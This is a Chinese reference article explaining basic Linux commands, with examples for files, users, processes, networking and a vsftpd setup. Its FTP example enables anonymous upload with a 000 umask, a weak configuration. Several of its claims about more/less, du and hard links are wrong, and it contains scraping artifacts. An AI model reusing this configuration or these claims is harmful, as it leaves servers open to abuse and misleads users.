linux命令

linux命令

计算机科学术语
linux命令:功能说明:建立或修改备存文件,或是从备存文件中抽取文件。linux命令是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与之前的DOS命令类似。linux命令在系统中有两种类型:内置Shell命令和Linux命令。
    中文名:linux命令 外文名: 适用领域: 所属学科: 定义:Linux系统进行管理的命令 类型:内置Shell命令和Linux命令 归属:Linux系统进行管理 例如:console

操作命令

首先介绍一个名词“控制台(console)”,它就是我们通常见到的使用字符操作界面的人机接口,例如dos。我们说控制台命令,就是指通过字符界面输入的可以操作系统的命令,例如dos命令就是控制台命令。我们现在要了解的是基于Linux操作系统的基本控制台命令。有一点一定要注意,和dos命令不同的是,Linux的命令(也包括文件名等等)对大小写是敏感的,也就是说,如果你输入的命令大小写不对的话,系统是不会做出你期望的响应的。

模式切换

1、 由图形到字符#logout或init 3

2、由字符到图形界面init 5

3、退出consolelogout或exit或ctrl+d

4、 注销Ctrl + Alt + Backspace

5、 关机#poweroff或init 0或shutdown -h now或 halt -p

6、 重启#reboot或init 6或shutdown -r now

获得帮助

#help提供内部命令的帮助#man或info提供外部命令的帮助。

如果你的英文足够好,那完全可以不靠任何人就精通linux,只要你会用man。Man实际上就是查看指令用法的help,学习任何一种UNIX类的操作系统最重要的就是学会使用man这个辅助命令。man是manual(手册)的缩写字,它的说明非常的详细,但是因为它都是英文,看起来非常的头痛。建议大家需要的时候再去看man,平常吗,记得一些基本用法就可以了。

基础命令

* LINUX图形界面和命令行界面的切换

进入Ubuntu桌面环境后,可以使用键盘上的“Ctrl+Alt+F1~F6“组合键来切换不同的tty界面,Linux默认提供了6个命令行界面(F1-F6),比如”Ctrl+Alt+F1″就是切换到tty1:

1 /*最上面显示的是Ubuntu的版本计算机名称和tty号*/

2 Ubuntu 12.04.1 LTS qingsword tty1

4 /*输入用户名和密码即可登录tty1*/

5 qingsword login: root

6 Password:

在命令行模式下,想要切换回图形界面可以使用组合键”Ctrl+Alt+F7“。另外,如果不是从图形界面切换到tty模式,而是系统启动时候直接进入的命令行模式,在登陆后可以使用”startx”来启动图形界面。

PS:在图形界面下使用”Ctrl+Alt+T“可以快速启动Linux的命令行终端。

* 列出目录中的文件(LS)

在Linux命令行终端中使用的最多的命令就是这个ls,它可以帮助我们列出当前目录下都有哪些文件,下面是一些实例:

1 /*

2 * 使用pwd,查看当前是在哪个目录中,

3 * 显示为“/home/qingsword”,这就是当前命令行所在的目录。

4 */

5 [qingsword@localhost ~]$ pwd

6 /home/qingsword

8 /*切换到根目录*/

9 [qingsword@localhost ~]$ cd /

11 /*验证一下,确实在根目录下了*/

12 [qingsword@localhost /]$ pwd

13 /

15 /*查看根目录下面都有哪些文件和文件夹*/

16 [qingsword@localhost /]$ ls

17 bin dev home lost+found mnt proc sbin srv tmp var

18 boot etc lib media opt root selinux sys usr

20 /*可以使用两个ll详细输出,这个命令和ls -l效果相同*/

21 [qingsword@localhost /]$ ll

22 total 78

23 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin

24 dr-xr-xr-x. 5 root root 1024 Aug 8 23:54 boot

25 drwxr-xr-x. 18 root root 3820 Aug 8 17:41 dev

26 drwxr-xr-x. 88 root root 4096 Dec 24 10:39 etc

27 …../*省略部分输出*/…..

29 /*详细输出,并且显示隐藏的文件和文件夹,或ls -al*/

30 [qingsword@localhost /]$ ll -a

31 total 86

32 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 .

33 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 ..

34 -rw-r–r–. 1 root root 0 Aug 8 17:39 .autofsck

35 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin

36 …../*省略部分输出*/…..

上面为ls常见的用法,下面是一些其他用法:

1 /*

2 * 使用递归模式,显示目录以及下级子目录,

3 * 后面的more是当输出超出终端显示范围时,显示一个more,

4 * 按任意键可以继续显示下面的内容。

5 */

6 [qingsword@localhost /]$ ls -R | more

8 /*按时间先后显示*/

9 [qingsword@localhost /]$ ls -t

11 /*横排输出,中间用逗号分隔*/

12 [qingsword@localhost /]$ ls -m

14 /*按大小排列,先大后小*/

15 [qingsword@localhost /]$ ls -S

除此之外ls会显示不同颜色,下面是这些颜色的含义:

蓝色—目录

绿色—可执行文件

红色—压缩文件

浅蓝色—链接文件

粉红色—图片文件

黄色—设备文件

灰色—其他文件

可以切换到/dev目录下用ls查看一下,会看到大部分为设备文件。

* 目录切换(CD)

使用cd(Change Directory)命令可以在不同目录之间切换,下面是一些实例:

1 /*当前目录是根目录*/

2 [qingsword@localhost /]$ pwd

3 /

5 /*使用cd切换到/dev这个目录*/

6 [qingsword@localhost /]$ cd /dev

7

8 [qingsword@localhost dev]$ pwd

9 /dev

11 /*查看一下当前目录下面的文件*/

12 [qingsword@localhost dev]$ ls

14 /*这条命令可以用来跳到前一个工作目录,即根目录*/

15 [qingsword@localhost dev]$ cd -

16 /

18 /*跳到当前用户的家目录*/

19 [qingsword@localhost /]$ cd ~

20 [qingsword@localhost ~]$ pwd

21 /home/qingsword

23 /*返回上一层目录*/

24 [qingsword@localhost ~]$ cd ..

25 [qingsword@localhost home]$ pwd

26 /home

* 创建、移动、复制、删除文件的操作

可以使用下面的命令来创建一个目录,或者嵌套的目录:

1 /*我在当前用户的家目录中,首先创建一个单层目录*/

2 [qingsword@localhost ~]$ mkdir qing

3 [qingsword@localhost ~]$ ls

4 qing

6 /*试着创建一个嵌套的目录,提示错误*/

7 [qingsword@localhost ~]$ mkdir top/sub/sub2

8 mkdir: cannot create directory `top/sub/sub2′: No such file or directory

10 /*添加-p参数才能创建多层的嵌套目录*/

11 [qingsword@localhost ~]$ mkdir -p top/sub/sub2

12 [qingsword@localhost ~]$ ls

13 qing top

15 /*

16 * 使用递归显示当前目录下面文件,

17 * “.”代表当前目录,下面表示这个目录下面的子目录和文件。

18 */

19 [qingsword@localhost ~]$ ls -R

20 .:

21 qing top

23 /*”qing”这个目录下面是空的,没有其他文件和文件夹*/

24 ./qing:

26 /*”top”目录下还有个子目录”sub”*/

27 ./top:

28 sub

30 /*sub目录下还有个sub2*/

31 ./top/sub:

32 sub2

34 /*sub2下面是空的*/

35 ./top/sub/sub2:

删除目录或者文件:

1 /*强制删除刚才创建的top目录,”rm -rf”后面可以接任何目录或者文件*/

2 [qingsword@localhost ~]$ rm -rf top

创建文本文件:

1 /*使用touch命令可以创建一个空文本文件*/

2 [qingsword@localhost ~]$ touch testfile

4 /*使用echo命令将hello这几个字符写入这个文件中*/

5 [qingsword@localhost ~]$ echo hello>>testfile

7 /*使用more命令显示这个文件中的内容*/

8 [qingsword@localhost ~]$ more testfile

9 hello

11 /*追加一行,再次显示*/

12 [qingsword@localhost ~]$ echo My name is QingSword>>testfile

13 [qingsword@localhost ~]$ more testfile

14 hello

15 My name is QingSword

复制文件或文件夹:

1 /*首先创建两个文件夹*/

2 [qingsword@localhost ~]$ mkdir dir1

3 [qingsword@localhost ~]$ mkdir dir2

4 [qingsword@localhost ~]$ ls

5 dir1 dir2 qing testfile

7 /*将testfile这个文本文件复制到dir2目录中*/

8 [qingsword@localhost ~]$ cp testfile dir2

9 [qingsword@localhost ~]$ ls dir2

10 testfile

12 /*将dir2目录复制到dir1目录中,复制非空目录要添加参数-r*/

13 [qingsword@localhost ~]$ cp -r dir2 dir1

14 [qingsword@localhost ~]$ ls -R dir1

15 dir1:

16 dir2

18 dir1/dir2:

19 testfile

21 /*

22 * 复制多个目标到一个文件夹中,

23 * 将dir1和dir2这两个文件夹以及testfile这个文本文件,复制到后面的qing文件夹中。

24 */

25 [qingsword@localhost ~]$ cp -r dir1 dir2 testfile qing

移动目录或文件(剪切):

1 /*vm可以操作目录和文件,同样可以一次性操作多个目标*/

2 [qingsword@localhost ~]$ mv dir1 qing

3 [qingsword@localhost ~]$ ls

4 dir2 qing testfile

6 [qingsword@localhost ~]$ mv testfile dir2 qing

7 [qingsword@localhost ~]$ ls

8 qing

9 [qingsword@localhost ~]$

* 重启和关机

使用下面的命令重启和关机(这个命令必须使用root用户才能执行):

1 /*首先切换到root权限*/

2 [qingsword@localhost ~]$ su

3 Password:

5 /*一分钟后关机*/

6 [qingsword@localhost ~]# shutdown -h 1

8 /*如果是定时关机,可以打开另外一个终端,使用下面这个命令取消关机*/

9 [qingsword@localhost ~]# shutdown -c

11 /*马上关机*/

12 [qingsword@localhost ~]# shutdown -h now

14 /*下面这两条命令也是马上关机*/

15 [qingsword@localhost ~]# init 0

16 [qingsword@localhost ~]# poweroff

18 /*下面这两条命令都能马上重启*/

19 [qingsword@localhost ~]# reboot

20 [qingsword@localhost ~]# init 6

uniq

–去除重复行

下面的示例演示如何grep的唯一相关的交易,削减不必要的信息,并获得计数。

jfields$ cat order.out.log | grep "(Kindle|Hardcover)" | cut -d"," -f3 | sort | uniq -c

1 joy of Clojure

2 Patterns of Enterprise Architecture

jfields$ cat order.out.log | grep "(Kindle|Hardcover)" | cut -d"," -f3 | sort | uniq

Joy of Clojure

Patterns of Enterprise Architecture

命令ls

ls [list]

这个命令就相当于dos下的dir命令一样,这也是Linux控制台命令中最为重要几个命令之一。Linux上的文件以“.”开头的文件被系统视为隐藏文件,仅用ls命令是看不到他们的,而用ls -a除了显示 一般文件名外,连隐藏文件也会显示出来。

ls -l(这个参数是字母L的小写,不是数字1)【直接输入ll 等价于 ls -l的效果】

这个命令可以使用长格式显示文件内容,如果需要察看更详细的文件资料,就要用到ls -l这个指令。例如我在某个目录下键入ls -l可能会显示如下信息(最上面两行是我自己加的):

位置1 2 3 4 5 6 7

文件属性文件数 拥有者 所属者group 文件大小 建档日期 文件名

drwx------ 2 Guest users 1024 Nov 21 21:05 Mail

-rwx--x--x 1 root root 89080 Nov 7 22:41 tar*

-rwxr-xr-x 1 root bin 5013 Aug 15 9:32 uname*

lrwxrwxrwx 1 root root 4 Nov 24 19:30 zcat->gzip

-rwxr-xr-x 1 root bin 308364 Nov 29 7:43 zsh*

-rwsr-x--- 1 root bin 9853 Aug 15 5:46 su*

下面,我为大家解释一下这些显示内容的意义。

第一个栏位,表示文件的属性。Linux的文件基本上分为三个属性:可读(r),可写(w),可执行(x)。但是这里有十个格子可以添(具体程序实现时,实际上是十个bit位)。第一个小格是特殊表示格,表示目录或连结文件等等,d表示目录,例如drwx------;l表示连结文件,如lrwxrwxrwx;如果是以一横“-”表示,则表示这是文件。其馀剩下的格子就以每3格为一个单位。因为Linux是多用户多任务系统,所以一个文件可能同时被许多人使用,所以我们一定要设好每个文件的权限,其文件的权限位置排列顺序是(以-rwxr-xr-x为例):

rwx(Owner)r-x(Group)r-x(Other)

这个例子表示的权限是:使用者自己可读,可写,可执行;同一组的用户可读,不可写,可执行;其它用户可读,不可写,可执行。另外,有一些程序属性的执行部分不是X,而是S,这表示执行这个程序的使用者,临时可以有和拥有者一样权力的身份来执行该程序。一般出现在系统管理之类的指令或程序,让使用者执行时,拥有root身份。

第二个栏位,表示文件个数。如果是文件的话,那这个数目自然是1了,如果是空目录的话,那它的数目就是2,非空目录等于该目录中的目录个数加上2了。

第三个栏位,表示该文件或目录的拥有者。若使用者目前处于自己的Home,那这一栏大概都是它的账号名称。

第四个栏位,表示所属的组(group)。每一个使用者都可以拥有一个以上的组,不过大部分的使用者应该都只属于一个组,只有当系统管理员希望给予某使用者特殊权限时,才可能会给他另一个组。

第五栏位,表示文件大小。文件大小用byte来表示,而空目录一般都是1024byte,你当然可以用其它参数使文件显示的单位不同,如使用ls –k就是用kb来显示一个文件的大小单位,不过一般我们还是以byte为主。

第六个栏位,表示创建日期。以“月,日,时间”的格式表示,如Aug 15 5:46表示8月15日早上5:46分。

第七个栏位,表示文件名。我们可以用ls –a显示隐藏的文件名。

ls –F(注意,是大写的F)

使用这个参数表示在文件的后面多添加表示文件类型的符号,例如*表示可执行,/表示目录,@表示连结文件,这都是因为使用了-F这个参数。但是现在基本上所有的Linux发行版本的ls都已经内建了-F参数,也就是说,不用输入这个参数,我们也能看到各种分辨符号。

cd

cd [change directory]

这个命令是用来进出目录的,它的使用方法和在dos下差不多,但要注意以下两点:首先,和dos不同的是Linux的目录对大小写是敏感的,如果大小写没写对,cd操作不会成功;其次,cd如果直接输入,cd后面不加任何东西,会回到使用者自己的Home Directory。假设如果是root,则回到/root,与输入cd ~是一样的效果。

建新目录

mkdir、rmdir

mkdir[make directory] rmdir [remove directory]

mkdir命令用来建立新的目录,

名称:mkdir

使用权限:于目前目录有适当权限的所有使用者

使用方式:mkdir[-p] dirName

说明:建立名称为 dirName 之子目录。

参数:-p 确保目录名称存在,不存在的就建一个。

范例:

在工作目录下,建立一个名为 AAA 的子目录 :

mkdirAAA

在工作目录下的 BBB 目录中,建立一个名为Test的子目录。若 BBB目录原本不存在,则建立一个。(注:本例若不加 -p,且原本 BBB目录不存在,则产生错误。)

mkdir-p BBB/Test

rmdir 用来删除已建立的目录,

名称:rmdir

使用权限:于目前目录有适当权限的所有使用者

使用方式: rmdir [-p] dirName

说明: 删除空的目录。

参数: -p 是当子目录被删除后使它也成为空目录的话,则顺便一并删除。

范例:

将工作目录下,名为 AAA 的子目录删除 :

rmdir AAA

在工作目录下的 BBB 目录中,删除名为 Test 的子目录。若 Test 删除后,BBB目录成为空目录,则 BBB 亦予删除。

rmdir -p BBB/Test

cp

cp[copy]

这个命令相当于dos下面的copy命令,具体用法是:cp –r源文件(source) 目的文件(target)

参数r是指连同源文件中的子目录一同拷贝。熟悉dos的读者用起这个命令来会觉得更方便,毕竟比在dos下面要少敲两下键盘。

../ 和 ./ 代表的 是上级目录以及当前目录。

这样运用这两个命令来完成两种复制方法。

第一种:处在当前目录复制当前目录下文件到别的目录。

cp_文件名称_别的文件目录路径。"_"是空格

举个例子 在 orz文件夹下有两个子文件夹a和b,a中有文件x.c,b中无文件。

此时我们在a文件夹中命令如下:

cp x.c ../b/

第二种:处在当前文件夹下复制另外文件夹下的文件到当前文件夹下。

cp_路径/文件名称_./

例子条件同上个例子,命令如下:

cp ../a/x.c ./

rm

rm [remove]

这个命令是用来删除文件的,和dos下面的rm(删除一个空目录)是有区别的,大家千万要注意。rm命令常用的参数有三个: -i,-r,-f。

比如我现在要删除一个名字为test的一个文件:rm –i test

系统会询问我们:“rm:remove ‘test’鳚y”,敲了回车以后,这个文件才会真的被删除。之所以要这样做,是因为linux不象dos那样有undelete的命令,或者是可以用pctool等工具将删除过的文件救回来,linux中删除过的文件是救不回来的,所以使用这个参数在删除前让你再确定一遍,是很有必要的。

rm –r目录名:这个操作可以连同这个目录下面的子目录都删除,功能上和rmdir相似。

rm –f 文件名(目录名):这个操作可以进行强制删除。

mv

mv[move]

这个命令的功能是移动目录或文件,引申的功能是给目录或文件重命名。它的用法同dos下面的move基本相同,这里不再多讲。当使用该命令来移动目录时,他会连同该目录下面的子目录也一同移走。如果你想给一个文件或目录重命名时可以用以下方法:mv 原文件名(目录) 新的文件名(目录)。

dudf

du [disk usage]

du命令可以显示目前的目录所占的磁盘空间,df命令可以显示目前磁盘剩馀的磁盘空间。如果du命令不加任何参数,那么返回的是整个磁盘的使用情况,如果后面加了目录的话,就是这个目录在磁盘上的使用情况(这个功能可是dos没有的呦)。不过我一般不喜欢用du,因为它给出的信息实在是太多了,我看不过来,而df这个命令我是最常用的,因为磁盘上还剩多少空间对我来说是很重要的。

语法:df [选项]

说明:linux中df命令可显示所有文件系统对i节点和磁盘块的使用情况。

该命令各个选项的含义如下:

-a 显示所有文件系统的磁盘使用情况,包括0块(block)的文件系统,如/proc文件系统。

-k 以k字节为单位显示。

-i 显示i节点信息,而不是磁盘块。

-t 显示各指定类型的文件系统的磁盘空间使用情况。

-x 列出不是某一指定类型文件系统的磁盘空间使用情况(与t选项相反)。

-T 显示文件系统类型。

功能:检查文件系统的磁盘空间占用情况。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息的!

cat

cat[concatenate]

这个命令是linux中非常重要的一个命令,它的功能是显示或连结一般的ascii文本文件。cat是concatenate的简写,类似于dos下面的type命令。它的用法如下:

cat text 显示text这个文件;

cat file1 file2 依顺序显示file1,file2的内容;

cat "file1" "file2">file3 把file1,file2的内容结合起来,再“重定向(>)”到file3文件中。

“〉”是一个非常有趣的符号,是往右重定向的意思,就是把左边的结果当成是输入,然后输入到file3这个文件中。这里要注意一点是file3是在重定向以前还未存在的文件,如果file3是已经存在的文件,那么它本身的内容被复盖,而变成file1+file2的内容。如果〉左边没有文件的名称,而右边有文件名,例如:

cat >file1:结果是会“空出一行空白行”,等待你输入文字,输入完毕后再按[Ctrl]+[c]或[Ctrl]+[d],就会结束编辑,并产生file1这个文件,而file1的内容就是你刚刚输入的内容。这个过程和dos里面的copy con file1的结果是一样的。

另外,如果你使用如下的指令:

cat file1>>file2:这将变成将file1的文件内容“附加”到file2的文件后面,而file2的内容依然存在,这种重定向符〉〉比〉常用,可以多多利用。

文件指令

对于存在安全漏洞或者配置不当的Linux服务器,同样面临攻击者的威胁,因此,提高安全意识强化安全管理,是Linux管理员不可忽视的事情。

more,less

这是两个显示一般文本文件的指令。如果一个文本文件太长了超过一个屏幕的画面,用cat来看实在是不理想,就可以试试more和less两个指令。More指令可以使超过一页的文件临时停留在屏幕,等你按任何的一个键以后,才继续显示。而less除了有more的功能以外,还可以用方向键往上或往下的滚动文件,所以你随意浏览,阅读文章时,less是个非常好的选择。当more或less文件不存在时,那么该文件就会自动生个空文件,所以more和less也可以作为创建文件的用法。

more 参数如下:

+num 从第num行开始显示;

-num 定义屏幕大小,为num行;

+/pattern 从pattern 前两行开始显示;

-c 从顶部清屏然后显示;

-d 提示Press space to continue, 'q' to quit.(按空 键继续,按q键退出),禁用响铃功能;

-l 忽略Ctrl+l (换页)字符;

-p 通过清除窗口而不是滚屏来对文件进行换页。和-c参数有点相似;

-s 把连续的多个空行显示为一行;

-u 把文件内容中的下划线去掉

less 常用参数

de>-c 从顶部(从上到下)刷新屏幕,并显示文件内容。而不是通过底部滚动完成刷新;

-f 强制打开文件,二进制文件显示时,不提示警告;

-i 搜索时忽略大小写;除非搜索串中包含大写字母;

-I 搜索时忽略大小写,除非搜索串中包含小写字母;

-m 显示读取文件的百分比;

-M 显法读取文件的百分比、行号及总行数;

-N 在每行前输出行号;

-p pattern 搜索pattern;比如在/etc/profile搜索单词MAIL,就用 less -p MAIL /etc/profile

-s 把连续多个空白行作为一个空白行显示;

-Q 在终端下不响铃;de>

比如:我们在显示/etc/profile的内容时,让其显示行号;

de>[root@localhost ~]# less -N /etc/profilede>

pwd

pwd [print working directory]

pwd [--help][--version]

说明:执行pwd指令可立刻得知您目前所在的工作目录的绝对路径名称。

清除屏幕

clear

这个命令是用来清除屏幕的,它不需要任何参数,和dos下面的cls具有相同的功能,如果你觉得屏幕太紊乱,就可以使用它清除屏幕上的信息。

ln

ln[link]

这是linux中又一个非常重要命令,请大家一定要熟悉。它的功能是为某一个文件在另外一个位置建立一个不同的链接,这个命令最常用的参数是-s,具体用法是:ln –s源文件目标文件。

当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。例如:ln –s /bin/less /usr/local/bin/less

-s 是代号(symbolic)的意思。

这里有两点要注意:第一,ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化;第二,ln的链接有软链接和硬链接两种,软链接就是ln –s ** **,它只会在你选定的位置上生成一个文件的镜像,不会占用磁盘空间,硬链接ln ** **,没有参数-s, 它会在你选定的位置上生成一个和源文件大小相同的文件,无论是软链接还是硬链接,文件都保持同步变化。

如果你用ls察看一个目录时,发现有的文件后面有一个@的符号,那就是一个用ln命令生成的文件,用ls –l命令去察看,就可以看到显示的link的路径了。

grep

用于查找文件中符合字符串的那行。

e.g. grep -nr "network_ssl" ./ [查找当前文件夹下所有文件内容,列出包含有 network_ssl该字串的行,并显示行号]

参数说明:-a :将 binary 文件以 text 文件的方式搜寻数据

-c :计算找到 '搜寻字符串' 的次数

-i :忽略大小写的不同,所以大小写视为相同

-n :顺便输出行号

-v :反向选择,亦即显示出没有 '搜寻字符串' 内容的那一行!

-A NUM:同时输出匹配行的后NUM行。

-B NUM:同时输出匹配行的前NUM行。

-C NUM:同时输出匹配行的前、后各NUM行。

-r :明确要求搜索子目录:grep -r 或忽略子目录:grep -d skip 如果有很多 输出时,您可以通过管道将其转到’less’上阅读:$ grep magic /usr/src/Linux/Documentation/* | less 这样,您就可以更方便地阅读。

find

find / -name "*.txt" -print 用于查找所有的‘ *.txt’文件在当前目录及子目录中;

find / -name "[A-Z]*" -print 用于当前目录及子目录中查找文件名以一个大写字母开头的文件;

find /etc -name "host*" -print 在/etc目录中查找文件名以host开头的文件;

find / -name "[a-z][a-z][0--9][0--9].txt" -print 在当前目录查找文件名以两个小写字母开头,跟着是两个数字,最后是.txt的文件;

1、find命令的一般形式为;

find pathname -options [-print -exec -ok ...]

2、find命令的参数;

pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录。

-print: find命令将匹配的文件输出到标准输出。

-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为'command' { } ;,注意{ }和;之间的空格。

-ok: 和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。

3、find命令选项

-name

按照文件名查找文件。

-perm

按照文件权限来查找文件。

-prune

使用这一选项可以使find命令不在当前指定的目录中查找,如果同时使用-depth选项,那么-prune将被find命令忽略。

-user

按照文件属主来查找文件。

-group

按照文件所属的组来查找文件。

-mtime -n +n

按照文件的更改时间来查找文件, - n表示文件更改时间距现在n天以内,+ n表示文件更改时间距现在n天以前。find命令还有-atime和-ctime 选项,但它们都和-m time选项。

-nogroup

查找无有效所属组的文件,即该文件所属的组在/etc/groups中不存在。

-nouser

查找无有效属主的文件,即该文件的属主在/etc/passwd中不存在。

-newer file1 ! file2

查找更改时间比文件file1新但比文件file2旧的文件。

-type

查找某一类型的文件,诸如:

b -块设备文件。

d -目录。

c -字符设备文件。

p - 管道文件。

l -符号链接文件。

f - 普通文件。

-size n:[c] 查找文件长度为n块的文件,带有c时表示文件长度以字节计。

-depth:在查找文件时,首先查找当前目录中的文件,然后再在其子目录中查找。

-fstype:查找位于某一类型文件系统中的文件,这些文件系统类型通常可以在配置文件/etc/fstab中找到,该配置文件中包含了本系统中有关文件系统的信息。

-mount:在查找文件时不跨越文件系统mount点。

-follow:如果find命令遇到符号链接文件,就跟踪至链接所指向的文件。

-cpio:对匹配的文件使用cpio命令,将这些文件备份到磁带设备中。

另外,下面三个的区别:

-amin n

查找系统中最后N分钟访问的文件

-atime n

查找系统中最后n*24小时访问的文件

-cmin n

查找系统中最后N分钟被改变文件状态的文件

-ctime n

查找系统中最后n*24小时被改变文件状态的文件

-mmin n

查找系统中最后N分钟被改变文件数据的文件

-mtime n

查找系统中最后n*24小时被改变文件数据的文件

ar

功能说明:建立或修改备存文件,或是从备存文件中抽取文件。

语 法:ar[-dmpqrtx][cfosSuvV][a<成员文件>][b<成员文件>][i<成员文件>][备存文件][成员文件]

补充说明:ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限。

参 数:

指令参数

-d 删除备存文件中的成员文件。

-m 变更成员文件在备存文件中的次序。

-p 显示备存文件中的成员文件内容。

-q 将文件附加在备存文件末端。

-r 将文件插入备存文件中。

-t 显示备存文件中所包含的文件。

-x 自备存文件中取出成员文件。

选项参数

a<成员文件> 将文件插入备存文件中指定的成员文件之后。

b<成员文件> 将文件插入备存文件中指定的成员文件之前。

c 建立备存文件。

f 为避免过长的文件名不兼容于其他系统的ar指令指令,因此可利用此参数,截掉要放入备存文件中过长的成员文件名称。

i<成员文件> 将文件插入备存文件中指定的成员文件之前。

o 保留备存文件中文件的日期。

s 若备存文件中包含了对象模式,可利用此参数建立备存文件的符号表。

S 不产生符号表。

u 只将日期较新文件插入备存文件中。

v 程序执行时显示详细的信息。

rpm

一种用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件,与Dpkg类似。

RPM是RedHat Package Manager(RedHat软件包管理工具)的缩写,这一文件格式名称虽然打上了RedHat的标志,但是其原始设计理念是开放式的,现在包括OpenLinux、S.u.S.E.以及Turbo Linux等Linux的分发版本都有采用,可以算是公认的行业标准了。

常用rpm命令

查询rpm软件包

#rpm -q软件包名

#rpm -qa //查询安装的所有软件包

#rpm -qa|grep软件包字符串

#rpm -qf /bin/命令//查询命令由哪些软件包安装得到

#rpm -qi软件包名 //查询软件包的详细信息

#rpm -ql软件包名 //查询软件包的安装位置

软件包的安装

#rpm -ivh软件包

软件包的升级

#rpm -Uvh软件包

软件包的卸载

#rpm -e软件包名

组的管理

#useradd 用户名 //创建用户和组

#passwd 用户名 //设置用户密码

#groupadd组名 //创建组

#usermod–d路径用户名 //修改用户宿主目录

#usermod–u uid 用户名 //修改用户的UID

#usermod-s /bin/[csh] 用户名 //修改用户启动shell

#usermod-G 组名 用户名 //将用户加入组, 创建私有组

#usermod-g 组名 用户名 //用户加入组但不创建私有组

#gpasswd -a 用户名 组名 //同-G

#gpasswd -d 用户名 组名 //将用户从组中删除

#gpasswd -A 用户名 组名 //指定用户成为组的管理员

#usermod-L 用户名 //锁定用户#passwd -l 用户名 //同上

#usermod-U 用户名 //解锁用户#passwd -u 用户名 //同上

#usermod-l 新名 原名 //重命名用户

#groupmod -n 新名 原名 //重命名组

#userdel 用户名 //删除用户#userdel –r 用户名 //彻底删除,包括用户的宿主目录

#groupdel组名 //删除组

#passwd -d 用户名 /删除用户密码/

进程服务

查看进程

#ps -aux //查看所有进程(静态)

#top //查看动态变化的进程

#pstree//查看进程树

将进程放在后台运行

#命令 &

查看后台运行的进程

#jobs

将后台运行的进程调入前台

#fg 编号

强制结束进程

#kill -9 PID 或#killall -9进程名

init进程是所有进程的父进程其级别如下

0 关机

1 单用户

2 多用户字符,但是不支持NFS

3 完全多用户字符

4 用户自定义

5图形

6 重启

查看服务启动情况(独立启动方式)

#chkconfig --list //查看所有服务的启动状态

#chkconfig --list httpd

设置独立启动服务

#chkconfig --level 35 httpd on或off

设置非独立启动服务

#chkconfig telnet on或off#serVIce xinetd restart

设置服务在开机时自动运行

#ntsysv

网卡设置

1、 设置ip地址(即时生效,重启失效)

#ifconfig eth0 ip地址 netmask子网掩码

2、 设置ip地址(重启生效,永久生效)

#setup

3、 通过配置文件设置ip地址(重启生效,永久生效)

#vi /etc/sysconfig/network-scripts/ifcfg-eth0

DEVICE=eth0 #设备名,与文件同名。

ONBOOT=yes #在系统启动时,启动本设备。

BOOTPROTO=static

IPADDR=202.118.75.91 #此网卡的IP地址

NETMASK=255.255.255.0 #子网掩码

GATEWAY=202.118.75.1 #网关IP

MACADDR=00:02:2D:2E:8C:A8 #mac地址

4、 重启网络服务

#service network restart //重启所有网卡

5、 禁用网卡,启动网卡

#ifdown eth0

#ifup eth0

6、 屏蔽网卡,显示网卡

#ifconfig eth0 down

#ifconfig eth0 up

7、 配置DNS客户端(最多三个)

#vi /etc/resolv.conf

nameserver 202.99.96.68

8、更改主机名(即时生效)

#hostname主机名

9、更改主机名(重启计算机生效,永久生效)

#vi /etc/sysconfig/network

HOSTNAME=主机名

服务进程

FTP服务

1 使用setup命令开启vsftpd服务进程。

2然后修改文件/etc/xinetd.d/vsftpd。(但vsftpd是依附于xinetd.d运行时2、3有效)

(1)把disable=yes改为=no。

(2)配置每个客户机的最大连接数:

在配置文件/etc/xinetd.d/vsftpd的{}中添加如下的配置语句:

per_source = 数值。例如:per_source = 5 表示每个客户机的最大连接数为5。

(3)配置服务器总的并发连接数:

在配置文件/etc/xinetd.d/vsftpd 的{}中添加如下的配置语句:

instances = 数值。例如:instances = 200 表示FTP 服务器总共支持的最高连接数为200。

(4)当vsftpd单独运行时:要配置独立运行的vsftpd很简单,只需要在前面的主配置文件的基础上添加如下的配置即可。

设置listen=YES :指明vsftpd以独立运行方式启动。

设置max_clients=200 :指明服务器总的并发连接数

设置max_per_ip=4 :指明每个客户机的最大连接数。

3. 配置/etc/vsftpd.conf(redhat9 是/etc/vsftpd/vsftpd.conf)文件。

# 允许真实用户(在系统中有账号的用户)访问

local_enable=YES

# 给真实用户写权限

write_enable=YES

# 真实用户上传文件的掩码设为022。这样真实用户上传后的文件权限为755(rwxr-xr-x),即文件所有者可读写执行、同组成员可读可执行、

# 系统中的其它用户可读可执行。

local_umask=022

# 允许匿名用户访问。匿名用户在系统中的账号是ftp

anonymous_enable=YES

# 匿名用户上传文件的掩码设为000。这样文件上传后的权限为777(rwxrwxrwx),即所有人都可以读写执行。

anon_umask=000

# 匿名用户可上传、可创建目录。一下3行只有设置了write_enable=YES才有效。

anon_upload_enable=YES

anon_mkdir_write_enable=YES

anon_world_readable_only=NO

# 如果想要让匿名用户有删除的权限可以加上如下代码

# anon_other_write_enable=YES

# 进入每个目录都显示特定提示。这些提示放在各个目录下.message文件中。

dirmessage_enable=YES

# 当用户登陆ftp服务器时,不管是否登陆成功都显示如下信息。

ftpd_banner=Welcome to NiHao FTP service.

# 使用日志记录上传和下载。

xferlog_enable=YES

# 日志文件的位置

#xferlog_file=/var/log/vsftpd.log

#日志使用标准fpd格式

xferlog_std_format=YES

# ftp服务的端口是20

connect_from_port_20=YES

# 用户使用ftp访问服务器时,把他们的登陆目录作为它们在ftp中看到的目录,这称为chroot。

# 这样用户就无法访问他们登陆目录以外的内容,大大增强了安全性。匿名用户的登陆目录是/var/ftp/

chroot_list_enable=YES

